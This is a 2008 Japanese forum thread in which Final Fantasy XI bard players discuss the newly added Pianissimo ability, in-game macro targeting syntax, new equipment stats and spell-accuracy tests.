前衛５人にマチマチ歌えば、詩人自身が殴る必要もなく、他に灰アタッカーいれるより効果がでかい

明らかにバランス悪い
116 名前： 名も無き軍師 投稿日：2008/06/08(日) 10:42:40 ID:sILsEBRu: >>112
・お前以外にロクな赤が居ない
・お前がギャッラルを持っているどころか詩人であったことさえ忘れられている。
117 名前： 名も無き軍師 投稿日：2008/06/08(日) 15:14:05 ID:sA+dztGQ: ギャッラルは盾が簡単に揮発ヘイト上限維持するためのもの
なしに比べて仕事が楽になるのは言うまでもない
118 名前： 名も無き軍師 投稿日：2008/06/08(日) 19:59:41 ID:ROgJDZEe: ギャッラルで揮発…シルベントってことか
119 名前： 名も無き軍師 投稿日：2008/06/08(日) 20:09:16 ID:vxU2NV5V: 歌を単体化するアビの名前を予想しようぜ
120 名前： 名も無き軍師 投稿日：2008/06/08(日) 20:27:46 ID:XX1t8RtW: オンリーユー
121 名前： 名も無き軍師 投稿日：2008/06/08(日) 20:41:31 ID:vxU2NV5V: 何気にちょっとありそうだな
122 名前： 名も無き軍師 投稿日：2008/06/08(日) 20:44:19 ID:s8lBKTkp: ケアレスウィスパー
123 名前： 名も無き軍師 投稿日：2008/06/08(日) 21:53:22 ID:nSpv/vY0: 紫電の槍（ライトニングスピア）
124 名前： 名も無き軍師 投稿日：2008/06/09(月) 00:36:48 ID:LfWSdCGx: てか　カンパニエでの歌効果の対象開放云々すら　でてこんのなｗ

かなったらマンボマンボかけてみたいぜ！
125 名前： 名も無き軍師 投稿日：2008/06/09(月) 09:22:44 ID:+L9koMjd: >>124
またカンパニエでの歌効果の対象開放という要望もあるのですが、ごめんなさい。
これはシステム的に、最大で12曲まで歌が有効というシステム的な制約から、
実現は難しいと思います。
126 名前： 名も無き軍師 投稿日：2008/06/09(月) 10:31:56 ID:wwKE8182: 13曲目が歌われた時点で1曲目が消えるって仕様で十分だと思うがな。
そのくらいのプログラムも出来んのかね。
127 名前： 名も無き軍師 投稿日：2008/06/09(月) 12:07:30 ID:heC1X+fk: ごめん
128 名前： 名も無き軍師 投稿日：2008/06/09(月) 16:31:11 ID:2Dmv5D40: 先月からFFを初めて、詩人一筋に上げて24まで来てるのですが
フレンドというレアアイテムが手に入らない為に野良で浪曲する毎日です。

ですが、野良では動きを覚える前に狩場が移動になったりと未だに役割をこなせません。

先輩詩人の皆さま、このレベル帯はどの様な立ち回りが好ましいのでしょうか。

Wikiを見てケアル等の回復補助には注意をしているのですが、MPがすぐに切れるし組んでる人は終始無言で涙目になりそうです・・・。
129 名前： 名も無き軍師 投稿日：2008/06/09(月) 16:57:59 ID:/H3tqwmL: >>128
先月から始めて、（少なくとも２ジョブ目の）詩人がそのレベルなら、今のペースでプレイしつつ
色々試行錯誤しつつ経験つんでけ...で良いと思う。

Lv25で覚える魔道士のバラードだけは忘れずにね。
130 名前： 名も無き軍師 投稿日：2008/06/09(月) 17:05:42 ID:q06hSxVp: 前衛にはマドとかメヌとか後衛はバラードが２５だから
歌わなくてもいいよでもまぁ暇だろうからパストラルとかでも
ケアルはあくまでも補助ですねMPすくないし
４０くらいから会話PT増えてくるはず
131 名前： 名も無き軍師 投稿日：2008/06/09(月) 18:31:46 ID:2Dmv5D40: >>129-130
了解です。
マドメヌ、バラードをスムーズに掛けられる様に頑張って行きたいと思います。
早く会話があるPTと遭遇してみたいです。(´･ω･`)
132 名前： 名も無き軍師 投稿日：2008/06/10(火) 02:32:28 ID:3JPsBj2e: ピアニッシモでした
133 名前： 名も無き軍師 投稿日：2008/06/10(火) 02:39:51 ID:iO4M3ySF: >>131
ふふふ(　^？？？^？)
134 名前： 名も無き軍師 投稿日：2008/06/10(火) 03:40:59 ID:7LzvWI8L: 会話があるPTって減って来たよなぁ、
まあ会話があるかどうかはPTメンバー次第だね、
お喋りな人が2人居れば会話弾みやすいけどｗ
135 名前： 名も無き軍師 投稿日：2008/06/10(火) 05:45:02 ID:3Ee+LWw/: オラクルピガッシュ,,,両足,全種,白黒吟召,0,,72,,Rare,Ex,防13 HP+15 MP+25 管楽器スキル+5/ヒーリングMP+2
やっと足にスキル装備来たね
136 名前： 名も無き軍師 投稿日：2008/06/10(火) 05:53:54 ID:ZwlMuAKv: 42でみたがアビなし
137 名前： 名も無き軍師 投稿日：2008/06/10(火) 05:55:01 ID:IcNHXKeu: ピアニッシモリキャスト１５秒
138 名前： 名も無き軍師 投稿日：2008/06/10(火) 06:08:54 ID:3JPsBj2e: みじけええええええええ
139 名前： 名も無き軍師 投稿日：2008/06/10(火) 06:11:54 ID:uoV+tcXa: 属性グリップって属性杖みたいに歌にも効果あるかな？
魔命２だと検証し辛いだろうけど・・・
ＣＨＡ+１のグリップよりかはいいかな
140 名前： 名も無き軍師 投稿日：2008/06/10(火) 06:12:31 ID:D99W2Y28: ピアニッシモ、りきゃ13秒くらいか？
141 名前： 名も無き軍師 投稿日：2008/06/10(火) 06:13:34 ID:D99W2Y28: すまん、15秒だ
って137に報告きてたか
142 名前： 名も無き軍師 投稿日：2008/06/10(火) 06:14:31 ID:3JPsBj2e: >>139
光杖でララ、土杖でエレジーの命中率が眼に見えて違うんだからそりゃー効果あるだろうさ
143 名前： 名も無き軍師 投稿日：2008/06/10(火) 06:27:27 ID:uoV+tcXa: アルカルロプス両手棍全種白黒赤吟召学 Lv73
Rare Ｄ49 隔366 HP-10 INT+10 MND+10 CHR+10 魔法命中率+20
これいいねｗ属性杖超えるかねｗｗ
144 名前： 名も無き軍師 投稿日：2008/06/10(火) 07:56:13 ID:n/+y2lJ1: ピアニッシモ 62では使えた
145 名前： 名も無き軍師 投稿日：2008/06/10(火) 08:25:33 ID:3J3spl/j: シンキングピアスがかわいくなったよ！
146 名前： 名も無き軍師 投稿日：2008/06/10(火) 08:36:02 ID:nKlULmoW: ピアニッシモ導入に伴いプレとかが範囲に戻り、
その影響で何かしらの不具合が出ると予想してたんだがなかったか
147 名前： 名も無き軍師 投稿日：2008/06/10(火) 08:51:37 ID:D99W2Y28: あ～。バラードとかの歌マクロの<me>を<stpc>に変えるか・・・
でもstpc、これはこれで使いにくいんだよなぁ
148 名前： 名も無き軍師 投稿日：2008/06/10(火) 09:14:25 ID:3JPsBj2e: シンギングピアスをシンキングピアスだと思ってるやつはエドはるみにキスされろ
149 名前： 名も無き軍師 投稿日：2008/06/10(火) 09:37:51 ID:UIxjd/Q/: ここだけの話
エドはるみは俺のストライクゾーン内角いっぱい
150 名前： 名も無き軍師 投稿日：2008/06/10(火) 10:22:23 ID:IiB7RFWd: >>143
属性杖はHQで魔法命中率+15だから超えるな。
赤もやってる奴なら弱体でいちいち杖持ち替えないでいいし神装備になりそうだが、問題は入手難度か。
151 名前： 名も無き軍師 投稿日：2008/06/10(火) 10:37:10 ID:uPZK8q4u: >>150
某検証では、+25相当じゃなかったっけ？
実際のところ、固定値なのか魔法命中率に倍率補正なのかはっきりとはわからんけど。
152 名前： 名も無き軍師 投稿日：2008/06/10(火) 10:57:34 ID:4hHoBwVK: ピアニッシモのリキャ15秒ですか。。。
リキャ5分とか予想してたのになｗ
153 名前： 名も無き軍師 投稿日：2008/06/10(火) 11:51:53 ID:VfkuEwcI: ピアニッシモで歌のレンジ伸びてるね
管楽器使ってもケアル届くのと同じところまで
歌が届くようになった
154 名前： 名も無き軍師 投稿日：2008/06/10(火) 11:55:55 ID:CXijmpa6: 属性杖の有用性は命中率もそうだけど威力もアップしてる所だろｗ
まあ赤の弱体にはいいだろうけど
黒は変わらず属性杖だろ
155 名前： 名も無き軍師 投稿日：2008/06/10(火) 12:12:42 ID:RpvWpZKC: ピアニッシモの現状まとめ
範囲歌を単体化、その際射程は魔法と同等になる
リキャ 15秒
一度発動させると、２分程度継続
習得レベルは45

間違ってたり付け加えがあったら更新してくれるとうれしいんだぜ
ところで、これの有効活用法はなんだろうね。。
156 名前： 名も無き軍師 投稿日：2008/06/10(火) 12:35:06 ID:aQak0xMF: マズルカ自分にだけかけて逃げるとか、、、
157 名前： 名も無き軍師 投稿日：2008/06/10(火) 12:37:38 ID:GFR+Hdwn: >>155
ピンバラ
158 名前： 名も無き軍師 投稿日：2008/06/10(火) 12:41:25 ID:JWkFKgRU: 前衛にメヌメヌしながら
移動しないで赤にピンバラできるのって便利な気がする。
159 名前： 名も無き軍師 投稿日：2008/06/10(火) 12:41:27 ID:VfkuEwcI: ピアニッシモ追記
トルバドゥールやナイチンゲールとも効果は重複してました。
160 名前： 名も無き軍師 投稿日：2008/06/10(火) 12:47:02 ID:G9QnK0PZ: かなり微妙なアビにみえる
発動中は単体にしかかけられないんだよな？
歌う順番考えれば使えるのか…？

はやく試してみたいぜ
161 名前： 名も無き軍師 投稿日：2008/06/10(火) 12:52:58 ID:qBHv5fOi: いちいち確認するまでもないとは思うが、
△ボタン2回押しから手動で切れるんだよな？
162 名前： 名も無き軍師 投稿日：2008/06/10(火) 13:00:10 ID:VfkuEwcI: >>161
ご心配なく、ちゃんと切れるの確認しました。
163 名前： 名も無き軍師 投稿日：2008/06/10(火) 14:00:34 ID:D99W2Y28: 青のメリポアビみたいに範囲→単体化で、効果がうｐすればなぁ
164 名前： 名も無き軍師 投稿日：2008/06/10(火) 14:25:50 ID:MhU/2Ist: ピアニッシモ
釣りするときに自分にマズルカ掛けたり、タンジャナ中段から下段のＧコリとか
釣ったりするのに便利かな
165 名前： 名も無き軍師 投稿日：2008/06/10(火) 14:57:04 ID:G9QnK0PZ: ピアニッシモ手動切り出来るようで安心した
混戦時や狭いキャンプ地にはいい感じなんかな
166 名前： 名も無き軍師 投稿日：2008/06/10(火) 15:04:56 ID:Z9hzB7SU: grinモーション使ったマクロ組んでたから組みなおしが面倒だた。

けど固定で青の人とサル＆ナイズルやってたから、ピンバラできるこのアビはかなり便利だ。
167 名前： 名も無き軍師 投稿日：2008/06/10(火) 16:16:40 ID:Xb7CTgjv: シンギングピアスのアイコン変更はありがたいなあ。
リレピつけっぱなしだったことがしばしば・・・。
168 名前： 名も無き軍師 投稿日：2008/06/10(火) 18:46:31 ID:dNLQRKCz: 例えばメリポでセミ前衛４＋自分（詩人）＋後衛１とかだと
前衛のところや釣りでかなりの距離をおきつつ
メヌ４→ピアニッシモバラ２→マーチ→ピアニッシモバラ１とか可能と・・・
（矢印の合間に釣ったり寝かせたりセミ唱えたり）

やだ・・・何この神アビ・・・
169 名前： 名も無き軍師 投稿日：2008/06/10(火) 19:07:17 ID:llnEZEfZ: イクシオンクローク胴全種－－白黒赤－－－－吟－－－－召青－か－学 Lv74
Rare 頭装備不可防43 INT+13 MND+13 CHR+13 魔法命中率+5 リジェネリフレシュ

マル胴涙目ｗｗｗｗ
神すぎﾜﾛﾀ
170 名前： 名も無き軍師 投稿日：2008/06/10(火) 19:14:13 ID:dNLQRKCz: ・頭装備不可
171 名前： 名も無き軍師 投稿日：2008/06/10(火) 19:16:01 ID:58TM+Wgu: 学者用って感じだな
マル頭胴vsイクシオンならなかなかいい勝負だな
172 名前： 名も無き軍師 投稿日：2008/06/10(火) 19:18:04 ID:llnEZEfZ: あ・・・すまん頭×だ
173 名前： 名も無き軍師 投稿日：2008/06/10(火) 19:18:32 ID:zsS4OwBl: ところでメリーのホルンのララバイ+1は
コルネットの場合と比べてレジ率減ったりする？
174 名前： 名も無き軍師 投稿日：2008/06/10(火) 19:55:43 ID:TAv42GbI: リキャスト１５秒なら
一回歌ったら効果消えてくれるほうがよかったな……
175 名前： 名も無き軍師 投稿日：2008/06/10(火) 19:56:16 ID:dNLQRKCz: >>173
お前・・詩人レベルいくつ？
176 名前： 名も無き軍師 投稿日：2008/06/10(火) 20:01:24 ID:qBHv5fOi: >>173
減るだろう常識的に考えて…というところだがちゃんとした検証は少ないかもしれない。
まぁ「弦楽器でララバイを歌ってみた」でぐぐってみな。そこにメリホルの検証もある。
177 名前： 名も無き軍師 投稿日：2008/06/10(火) 20:05:13 ID:kKNR/QX9: >>174
消えますよ～。
178 名前： 名も無き軍師 投稿日：2008/06/10(火) 20:10:56 ID:qBHv5fOi: ああ、つかぐぐるまでもなく前スレの314あたりに
そのまま書いてある。
そういや前スレは変な人がきて無駄に荒れたな…
179 名前： 名も無き軍師 投稿日：2008/06/10(火) 20:22:25 ID:U64/IuEm: 強化歌は<me>じゃなくて<st>にすべきなんかね
180 名前： 名も無き軍師 投稿日：2008/06/10(火) 20:36:53 ID:Cag9SQbE: /ma チンコのバラード <stpc> <me>
181 名前： 名も無き軍師 投稿日：2008/06/10(火) 21:27:07 ID:TAv42GbI: >>177
まじですか！　良かった……
２分くらい続くって書き込みあったからすげー不安だったんだ！

帰ったらリトライオンラインがんばるかぁ
182 名前： 名も無き軍師 投稿日：2008/06/10(火) 21:51:52 ID:uPZK8q4u: ピアニッシモ、敵歌では消えないね。
バグで達ララに乗ったりしないか試したけど、普通どおりｗ

ピアニッシモ＞達ララ＞バラ２＞ピアニッシモ・バラ
とかできるね。後２でメリポした記憶ほとんどないし、そんときはサポ白だったけど。

んー、使うシチュエーションがなぁ。青にミンネくらいしか思いつかなかった。
183 名前： 名も無き軍師 投稿日：2008/06/10(火) 22:46:11 ID:bQjBJQAq: 現状の到達距離が伸びるってのが今回のバグだろう
184 名前： 名も無き軍師 投稿日：2008/06/10(火) 23:03:54 ID:jiyAI0dI: 地形上どうしても盾に歌かけるとき
敵の近くいって範囲くらうことよくあるから
ピアニッシモに射程があるってのはかなり便利だな。
185 名前： 名も無き軍師 投稿日：2008/06/10(火) 23:50:09 ID:cna/gYng: ナイズルやサルベで赤が釣りに行ったりしてうまくバラかけれなかったのがこれで解消される
186 名前： 名も無き軍師 投稿日：2008/06/11(水) 00:02:27 ID:F0VmFxkZ: ピアニッシモの使い方はこれだろ

メリポで僕だけピンマド
http://live27.2ch.net/test/read.cgi/ogame/1213104231/
187 名前： 名も無き軍師 投稿日：2008/06/11(水) 02:19:42 ID:eSW9ugy7: >>186

これはやりてぇ！ｗｗｗｗ
188 名前： 名も無き軍師 投稿日：2008/06/11(水) 02:29:37 ID:aVplJFX0: >>186
これはやばい　爆笑しちまったよ
189 名前： 名も無き軍師 投稿日：2008/06/11(水) 09:38:24 ID:IPEoO2Oe: スレタイがためになったのははじめてだｗ
190 名前： 名も無き軍師 投稿日：2008/06/11(水) 10:18:17 ID:zVmx7E3v: BCやマラソン役の人間に歌はかけやすくなるね～。１５秒は非常に使いやすい
>>186はワロタｗｗ
191 名前： 名も無き軍師 投稿日：2008/06/11(水) 12:16:13 ID:YoHxBbOc: >>186いいなｗ

ピアニッシモは歌と一緒のマクロにしてその時のPTによって歌を入れ替える感じかね。
さすがに全歌マクロを<stpc>にするのはきついよな。
192 名前： 名も無き軍師 投稿日：2008/06/11(水) 13:23:39 ID:3qJpPTS6: >>186
これは前衛にとってかなり屈辱ｗｗｗ

ピアニッシモ、マドと一緒のマクロにしといて
その時のPTによって<p1～5>で書き換えればいいんじゃないか？
もちろん台詞つきで。
193 名前： 名も無き軍師 投稿日：2008/06/11(水) 13:43:41 ID:plAiIj11: ついでに、フォルテシモとかで単体歌を範囲化できるアビ追加されたら良かったな。
194 名前： 名も無き軍師 投稿日：2008/06/11(水) 14:37:29 ID:1G6xPqIB: クレッシェンドで、同系歌4重複で枠一個がいいな。
一人でメヌメヌメヌメヌとか。
195 名前： 名も無き軍師 投稿日：2008/06/11(水) 17:59:04 ID:3qJpPTS6: ジャイアンリサイタルか
196 名前： 名も無き軍師 投稿日：2008/06/11(水) 19:04:18 ID:PtgT0zWD: 最近詩人始めたんですけど、弦楽器の利点が全然分かりません・・・。
これって管楽器だけでいいんじゃないの？って思っちゃうんですが、
間違ってますか?
197 名前： 名も無き軍師 投稿日：2008/06/11(水) 19:27:11 ID:0T3nf7hV: >>196
・一般的に弦楽器は歌の効果範囲を広げ、管楽器は歌の成功率を高める効果を
持っています。

で、通常のＰＴでは効果範囲が広いことによる利点はあんまりない、というのは
その通りだと思う。
だが特殊なＰＴでは弦楽器の出番もある。デュナミスでの黒魔ＰＴなんかで、
歌のかけ分けが不要で立ち位置がばらける可能性がある場合、弦楽器の方が
便利。あとはマズルカ用かな。

弦スキルも上がってるに越したことはないので、フィナーレとかで適当に
上げておくのがオススメ。
198 名前： 名も無き軍師 投稿日：2008/06/12(木) 00:08:52 ID:3aHl+Rs0: >>197
やっぱりそんなもんですかｗ
暇なときにスキルあげるようにします～。
199 名前： 名も無き軍師 投稿日：2008/06/12(木) 00:20:06 ID:IIAmRG7e: 海いけるなら金魚相手に弦楽器スレノディ100本ノックすりゃサクサクあがるべ。
200 名前： 名も無き軍師 投稿日：2008/06/12(木) 01:35:02 ID:uPjcvqt8: ＞　/ma チンコのバラード <stpc> <me>

ピアニッシモ用にマクロを変えると、毎回歌う度に決定ボタン押す必要があるよね
今までは<me>だけだったんだが、他に良い方法はないものか
201 名前： 名も無き軍師 投稿日：2008/06/12(木) 08:21:50 ID:DfuCWoZ6: >>200
ネ実からの転載

535 名前：既にその名前は使われています[] 投稿日：2008/06/11(水) 01:28:10.45 ID:JyaT0Qjt
ピアニッシモめんどくせえええ

一行目に/ma　バラード　<me>で歌即詠唱できてたのが<st>にすると
ワンテンポ遅れるしタイミング悪いと着替えでカーソル外れるし…。

魔法リストから選択すると5秒以内に楽器10個の中から手動変更しないとだし
どうしろってんだこれ('A`)

544 名前：既にその名前は使われています[sage] 投稿日：2008/06/11(水) 02:10:34.62 ID:lu1SWuq7
>>535
<me>と<st>だけ変えて他全く同じブックを二つ作って
ピアニッシモマクロに/macro仕込んで<me>のブックから
<st>のブックに移動するようにすればいいんじゃね

547 名前：既にその名前は使われています[sage] 投稿日：2008/06/11(水) 02:22:27.88 ID:6La1ZSh0
/macro(まくろ)テキストコマンドの一つ。マクロのブックもしくはパレット（セット）を変更する機能を持つ。
→2007.11.20のバージョンアップにて行われたマクロ機能拡張に伴い、同時に実装された。
ブックの変更編サブコマンドbookと番号を指定することにより変更できる。
/macro book 1
これを使わないで使用中のブックを変更しようとした場合、一度メニューから開かないと変えることができない。
パレット（セット）の変更編サブコマンドsetと番号を指定することにより変更できる。
ブックについてはその時点で使用しているブックになる。
/macro set 1
従前はCtrl(Alt)かL2(R2)と上下キーの組み合わせでパレットの変更が行えたが、このコマンドをマクロに仕込んでおけば、一発で任意のパレットが呼び出せるようになった。
注意点編二つのサブコマンドは同時に使えない。
たとえば、ブック3の9枚目のパレットを呼び出したい場合、
（誤）
/macro book 3 set 9
（正）
/macro book 3
/macro set 9
と、/macroを2回実行することが必要になる。
頻繁に使うマクロがある場合は、2行まとめてマクロに入れてしまうとよいだろう。
スムーズに切り替えが行えるのは便利だが、今自分が使っているのはどのブック（セット）なのか混乱しがちなのでご注意を。
202 名前： 名も無き軍師 投稿日：2008/06/12(木) 10:46:12 ID:mtRUCwoV: /ja ピアニッシモ <me>
/ma バラードII <stpc> <me>
/equip range 楽器
/wait 3
/ja ピアニッシモ <me> <st>
/ma バラード <stpc> <me>

ピアニッシモはどうせバラにしか使わないから、上記のマクロを一個作って他は変更せずｗ

自分にだけマズルカの場合は、上記のマクロを押してバラ2はキャンセルして、
それからいつものマズルカマクロを押すｗ
203 名前： 名も無き軍師 投稿日：2008/06/12(木) 12:05:18 ID:6pdsbM7h: アラ全体に拡張するフォルテシモまだーーー？
204 名前： 名も無き軍師 投稿日：2008/06/12(木) 12:57:28 ID:bkOmwU3f: 歌を<me>で即時発動させてた人にはちと面倒かもね。
俺は元々<st><me>で1テンポ置いてたからどうという事もなかったが。
即時だと、マクロ押しミスですぐ歌い出しちゃうのがどうしても気になっちゃってねえ…
205 名前： 200 投稿日：2008/06/12(木) 13:15:04 ID:uPjcvqt8: うーん・・・・どの方法もやっぱり面倒だね
さすがに5年近い間<me>で使ってきて、体が完全に慣れちゃってる
便利そうなアビなだけに残念
206 名前： 名も無き軍師 投稿日：2008/06/12(木) 15:36:28 ID:MmDLvmbx: 俺散々悩んだ結果バラI、IIとマドｗを別のマクロに分けて対応する事にした。
仕様で、<me>になっていようがピアニシモを発動した後は誰を狙うのか
マクロを無視してシステム側でサブターゲットを用意してくれれば
こんな問題は起きなかったのにね。
207 名前： 名も無き軍師 投稿日：2008/06/12(木) 16:16:55 ID:lWveBg4L: <stpc> <me>
この順番の時の<me>って意味あるの？
サブカーソルで対象にできない人にあわせて決定すると歌えないよね？
逆に<me> <stpc>とした場合はサブカーソルで誰をタゲっても
自分指定になって歌えるけど。
208 名前： 名も無き軍師 投稿日：2008/06/12(木) 17:05:08 ID:BO/dX6EW: <stpc> <me>だと自分にサブタゲでる
利点はNPCに合わせてても自分にサブタゲが出ること
嫌な点は他人にサブタゲを合わせて決定すると対象が自分の歌だと発動しない
<me> <stpc>だと今タゲっている人or新しくサブタゲがでる
利点はサブタゲをどんなに動かしても対象を自分で歌うことができる
嫌な点は他人にサブタゲでているときに着替えをされるとサブタゲが消失すること
209 名前： 名も無き軍師 投稿日：2008/06/12(木) 17:07:04 ID:dRHZ2UUE: ピアニッシモ状態の時だけサブタゲの出る<pme>みたいなのが追加されると良いんだがなぁ
210 名前： 名も無き軍師 投稿日：2008/06/12(木) 21:00:08 ID:tA7OyVjJ: PT始まる前に
/ma マド Noukin
みたくマクロにそいつの名前書いとけばいい。
そうすりゃサブターゲットなんて合わす必要ない。
211 名前： 名も無き軍師 投稿日：2008/06/12(木) 21:05:50 ID:QdtP+FPT: >210
ピンマド限定かよｗｗｗｗｗ
212 名前： 名も無き軍師 投稿日：2008/06/12(木) 21:31:20 ID:9HnvQHFP: 両棍:アルカルロプス Rare Ｄ49 隔366 HP-10 INT+10 MND+10 CHR+10 魔法命中率+20 Lv73～白黒赤吟召学
グリップ:ライトグリップ Rare 20HPをMPに変換光属性魔法命中率+2 Lv70～ All Jobs
胴:オラクルローブ Rare Ex 防41 HP+20 MP+20 魔法攻撃力アップ+6 魔法命中率+6 ヒーリングMP+6 Lv72～白黒吟召
両足:オラクルピガッシュ Rare Ex 防13 HP+15 MP+25 管楽器スキル+5 ヒーリングMP+2 Lv72～白黒吟召
指:インセクトリング Rare Ex 魔法命中率+2 レジストポイズン効果アップレジストサイレス効果アップレジストウィルス効果アップ Lv70～ All Jobs

あまり話題にならないけど、かなりいい装備追加されてるよねｗ
両足は花鳥風月だから、狙う価値あるよ！
ゴリとどっちがいいかはまだ不明だけどね
213 名前： 名も無き軍師 投稿日：2008/06/12(木) 21:39:30 ID:esymVLIo: ピアニッシモ神すぎる！

なんか面倒くさいって言ってる奴は使わずに従来通りやってりゃいいじゃん。
214 名前： 名も無き軍師 投稿日：2008/06/12(木) 21:42:48 ID:9swPatvf: アポ暗と固定組んでるからマチマチに出来ていい
段差で届かないときも飛ばせるしな
215 名前： 名も無き軍師 投稿日：2008/06/12(木) 21:42:57 ID:esymVLIo: >>212
黒とかは魔命と魔攻のバランスで悩むところだろうが、
魔攻が関係ない詩人にとってはアルカルロプス一択だな！
グリップ変えるようになるのかもしれんがｗ
216 名前： 名も無き軍師 投稿日：2008/06/12(木) 23:11:01 ID:jUr+KszF: 属性杖ＨＱって魔命だと２５相当だよな
アルカルロプスはＣＨＲ１０付いてるし迷うところだな
入手難度も関係してくるし
オラクルはＨＰＭＰも＋されるし良いな
217 名前： 名も無き軍師 投稿日：2008/06/12(木) 23:30:19 ID:9HnvQHFP: 25もあるの？属性杖
俺は15だと思ってたけど
218 名前： 名も無き軍師 投稿日：2008/06/12(木) 23:55:01 ID:BI4i8hqx: NQ+15 HQ+25 って話だった気がします。
219 名前： 名も無き軍師 投稿日：2008/06/13(金) 00:09:47 ID:1eOOp2im: NQ+10 HQ+15 だったかなぁ
220 名前： 名も無き軍師 投稿日：2008/06/13(金) 00:12:43 ID:/ipx9Sxf: どっちだよｗｗｗｗｗｗｗ
221 名前： 名も無き軍師 投稿日：2008/06/13(金) 00:34:57 ID:5vV5u4tv: ダチなしblog見れなくなって最終的にどういう結果出したかしらんわ
万単位で検証したのって他にないよなぁ
222 名前： 名も無き軍師 投稿日：2008/06/13(金) 01:29:53 ID:Uuvlsisj: 用語辞典を信用するならＨＱで魔命３０相当と書かれてるな。
魔命ＵＰ＋１０は必ずしも命中率１０％ＵＰになる訳じゃないから
（魔命＋１０なら命中率は１０％より低くなるケースがある）
属性杖の魔命の値をきっちり正確に出すのは難しいんだよな。
ハンターズバイブル２の検証を引用すると、
Ｌｖ８４のaura statueに１０００回試行で
パライズの場合氷杖ＨＱ有り無しを比較した場合約２１％の命中率の上昇。
エレジーの場合土杖ＨＱ有り無しを比較した場合約２２％の命中率の上昇。
これを魔命に換算すると２５～３０相当ではなかろうかという話。

ちなみにパライズを同じシチュエーションで魔命を装備で＋１５した場合、命中率が１１％上昇した。
この値を属性杖のパライズのケースと比で表すと１５：１１＝x：２１で
xは約２８.６になるので属性杖の魔命は約２８.６と推測される。
魔命をUPさせてのエレジーでの試行はなされてなかったので、属性杖のパライズとエレジーの命中率UPの値が近いことから
この相関関係をエレジーにも当てはめると魔命３０相当の値が出る。

まぁ一番はっきりと優劣決めるなら、アルカロプスを手に入れて比較検証することなんだが…
223 名前： 名も無き軍師 投稿日：2008/06/13(金) 07:18:29 ID:IQZCtoEj: まだ64でレベリング中の身だけど、忍盾にピンマチマチとかいいね。
タゲ固定にだまし打ちがあるとなおさら。
でもエレジーレクメヌマドピンマチマチバラバラとかやってると、ケアルしてる暇ないけど。
224 名前： 名も無き軍師 投稿日：2008/06/13(金) 07:57:12 ID:OcLbsHyb: ダチなしさんでも、属性杖の魔命はHQ30、NQ20になってたはず。
これだとやっぱり属性杖卒業はできなさそうだな…。
225 名前： 名も無き軍師 投稿日：2008/06/13(金) 08:50:36 ID:Wj15uCZN: >>208
<stpc>だけでNPCタゲってる場合でも自分にサブタゲ出たお。
ってことは、<me>の追加って結局どっちも意味ない機能ってことだよね。
226 名前： 名も無き軍師 投稿日：2008/06/13(金) 10:35:35 ID:TVqIy/c7: んー冗談抜きにメリポでスカスカな前衛に
ピンマドやったら怒られるのかな・・・
227 名前： 名も無き軍師 投稿日：2008/06/13(金) 10:40:42 ID:XkTVO89z: >>226
当然ながらアリだよ
タゲ回せない前衛はいらないよ
228 名前： 名も無き軍師 投稿日：2008/06/13(金) 10:42:18 ID:FKvf0tp8: レベル上げなら忍にもマドメヌのほうがいい。
229 名前： 名も無き軍師 投稿日：2008/06/13(金) 10:57:31 ID:DJcjLeae: >>225
>>208の2行目NPCじゃなくてPCだわｗ書き間違った
詩人ではエチュとプレくらいしかないから<stpc>でまったく問題ないと思う

ちら裏になるかもしれんが
赤だと<stpc> <me>で組んでる人が多いと思う
タゲを自分の戻すのってキャンセル押さなきゃいけないし、
<stpc>だけだとサブタゲ移動中に着替え入ると消えちゃうから

それに基本自分にサブタゲ出すようにマクロ組んでおくと
主観の左右ですばやく魔法かけられるし便利（これは人にもよるだろうけど）
PTメンバーの真ん中に表示されてるひとにもこれで対応
230 名前： 名も無き軍師 投稿日：2008/06/13(金) 11:22:48 ID:v8Phj4TI: >>226
ぜひやるべし
怒られたりはしないよ。むしろ賞賛される
231 名前： 名も無き軍師 投稿日：2008/06/13(金) 11:53:09 ID:FKX1NzeO: >>206
マクロ及び代名詞置換の仕様的に不可能。

代名詞がそれがどんな位置にあり、またどう使われるかまで解析しないと
実現不能であり、そんな処理を入れたら鯖の負担が優に100倍は超える。
232 名前： 名も無き軍師 投稿日：2008/06/13(金) 12:01:14 ID:v8Phj4TI: >>231
そんな処理はクライアント側でやればよいから鯖の負担なんて無いが
>>206が言うような<me>でもサブターゲットを出すような案は
自分のみに本当にかけたい場合に不便になるので絶対に実現はしない。
233 名前： 名も無き軍師 投稿日：2008/06/13(金) 12:01:50 ID:FKvf0tp8: ピアニッシモ導入したなら、以前単体にした歌を範囲歌に再びもどしてほしいなぁ
234 名前： sage 投稿日：2008/06/13(金) 12:08:34 ID:Do3QiPGJ: フォルティッシモで単体歌範囲化ですね
235 名前： 名も無き軍師 投稿日：2008/06/13(金) 12:14:25 ID:UuKYlRAA: >>232
そもそも使用頻度と用途考えると、人にかける機会の方がおおいんだから
俺は206の案でいいと思うが。
どっちか取れと言われたらだけどね。
236 名前： 名も無き軍師 投稿日：2008/06/13(金) 13:50:54 ID:shWPOxwP: エチュード、プレリュード、ダージェ、シルベントは範囲歌にするべきだよね。
要望メール送ったから、皆も送ろう！
237 名前： 名も無き軍師 投稿日：2008/06/13(金) 13:56:55 ID:LfErvnd8: >>234
これを機会にもうデフォの単体とか範囲化とかやめて、フォルティッシモで単体、
フォルテで管楽器範囲、フォルティッシモで弦楽器範囲でいいんじゃないかと
思えてきたんだがｗ（モード切替式）

弦楽器どうせ死んでるんだし、折角だから別の能力持たせればいいんじゃないかと。
238 名前： 名も無き軍師 投稿日：2008/06/13(金) 13:58:17 ID:LfErvnd8: ＞フォルティッシモで単体、
ピアニッシモ(´・ω・`)ﾐｭｰｼﾞｼｬﾝ失格
239 名前： 名も無き軍師 投稿日：2008/06/13(金) 16:33:10 ID:HkEy4rpz: 後衛が１だけの場合って結構あるんでそういう時は

/ja ピアニッシモ　<me>
/wait 2
/ma 魔道士のバラードII キャラ名
/wait 1
/ma 魔道士のバラード　キャラ名

で２回押し、これが凄い便利です

ピアニッシモで単体になったので動かれても(というか前衛の位置でメヌマチした直後でも)
前はバラ休まず２曲って対象の後衛に動かれると「えーｗ」ってなってたが
ピアニッシモでちゃんと２曲入れる事ができるようになった
240 名前： 名も無き軍師 投稿日：2008/06/13(金) 16:36:29 ID:LypykKSS: ピアニッシモ発動のマクロに>>201のマクロセット変更を仕込んで
変更したマクロセットは対象を<stpc>に置き換えて
それぞれ最後の行に元のマクロセットに戻す文を追加してみた。

着替えの順番とかで今までのマクロをそのまま<stpc>に置き換えだと
サブカーソル消えちゃったりしてたから意外と便利。
